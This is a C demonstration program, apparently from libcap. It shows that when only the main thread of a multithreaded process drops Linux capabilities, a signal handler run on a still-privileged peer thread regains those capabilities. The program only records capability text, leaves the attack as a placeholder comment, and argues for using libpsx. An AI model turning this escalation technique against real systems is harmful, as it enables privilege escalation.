1 /*
2 * Copyright (c) 2020 Andrew G Morgan <morgan@kernel.org>
3 *
4 * This program exploit demonstrates why libcap alone in a
5 * multithreaded C/C++ program is inherently vulnerable to privilege
6 * escalation.
7 *
8 * The code also serves as a demonstration of how linking with libpsx
9 * can eliminate this vulnerability by maintaining a process wide
10 * common security state.
11 *
12 * The basic idea (which is well known and why POSIX stipulates "posix
13 * semantics" for security relevant state at the abstraction of a
14 * process) is that, because of shared memory, if a single thread alone
15 * is vulnerable to code injection, then it can cause any other thread
16 * to execute arbitrary code. As such, if all but one thread drops
17 * privilege, privilege escalation is somewhat trivial.
18 */
19 #include <pthread.h>
20 #include <signal.h>
21 #include <stdio.h>
22 #include <stdlib.h>
23 #include <sys/capability.h>
24 #include <sys/types.h>
25
26 /* thread coordination */
27 pthread_mutex_t mu;
28 pthread_cond_t cond;
29 int hits;
30
31 /* evidence of highest privilege attained */
32 ssize_t greatest_len;
33 char *text;
34
35 /*
36 * interrupt handler - potentially watching for an opportunity to
37 * perform an exploit when invoked as a privileged thread.
38 */
handler(int signum,siginfo_t * info,void * ignore)39 static void handler(int signum, siginfo_t *info, void *ignore) {
40 ssize_t length;
41 char *working;
42 pthread_mutex_lock(&mu);
43
44 cap_t caps = cap_get_proc();
45 working = cap_to_text(caps, &length);
46 if (length > greatest_len) {
47 /*
48 * This is where the exploit code might go.
49 */
50 cap_free(text);
51 text = working;
52 greatest_len = length;
53 }
54 cap_free(caps);
55 hits++;
56
57 pthread_cond_signal(&cond);
58 pthread_mutex_unlock(&mu);
59
60 }
61
62 /*
63 * privileged thread code (imagine it doing whatever needs privilege).
64 */
victim(void * args)65 static void *victim(void *args) {
66 pthread_mutex_lock(&mu);
67 hits = 1;
68 printf("started privileged thread\n");
69 pthread_cond_signal(&cond);
70 pthread_mutex_unlock(&mu);
71
72 pthread_mutex_lock(&mu);
73 while (hits < 2) {
74 pthread_cond_wait(&cond, &mu);
75 }
76 pthread_mutex_unlock(&mu);
77
78 return NULL;
79 }
80
main(int argc,char ** argv)81 int main(int argc, char **argv) {
82 pthread_t peer;
83 cap_t caps = cap_init();
84 struct sigaction sig_action;
85
86 printf("program starting\n");
87 if (pthread_create(&peer, NULL, victim, NULL)) {
88 perror("unable to start the victim thread");
89 exit(1);
90 }
91
92 /*
93 * Wait until the peer thread is fully up.
94 */
95 pthread_mutex_lock(&mu);
96 while (hits < 1) {
97 pthread_cond_wait(&cond, &mu);
98 }
99 pthread_mutex_unlock(&mu);
100
101 printf("dropping privilege from main process thread\n");
102
103 if (cap_set_proc(caps)) {
104 perror("unable to drop capabilities from main process thread");
105 exit(1);
106 }
107 cap_free(caps);
108
109 /* confirm the low privilege of the process' main thread */
110
111 caps = cap_get_proc();
112 text = cap_to_text(caps, &greatest_len);
113 cap_free(caps);
114
115 printf("no privilege in main process thread: len:%ld, caps:\"%s\"\n",
116 greatest_len, text);
117 if (greatest_len != 1) {
118 printf("failed to lower privilege as expected\n");
119 exit(1);
120 }
121
122 /*
123 * So, we have confirmed that this running thread has no
124 * privilege. From this thread we setup an interrupt handler and
125 * then trigger it on the privileged peer thread.
126 */
127
128 sig_action.sa_sigaction = &handler;
129 sigemptyset(&sig_action.sa_mask);
130 sig_action.sa_flags = SA_SIGINFO | SA_RESTART;;
131 sigaction(SIGRTMIN, &sig_action, NULL);
132
133 pthread_kill(peer, SIGRTMIN);
134
135 /*
136 * Wait for the thread to exit.
137 */
138 pthread_join(peer, NULL);
139
140 /*
141 * Let's see how we did with the exploit.
142 */
143
144 printf("greatest privilege in main process thread: len:%ld, caps:\"%s\"\n",
145 greatest_len, text);
146
147 cap_free(text);
148 if (greatest_len != 1) {
149 printf("exploit succeeded\n");
150 exit(1);
151 } else {
152 printf("exploit failed\n");
153 }
154 }
155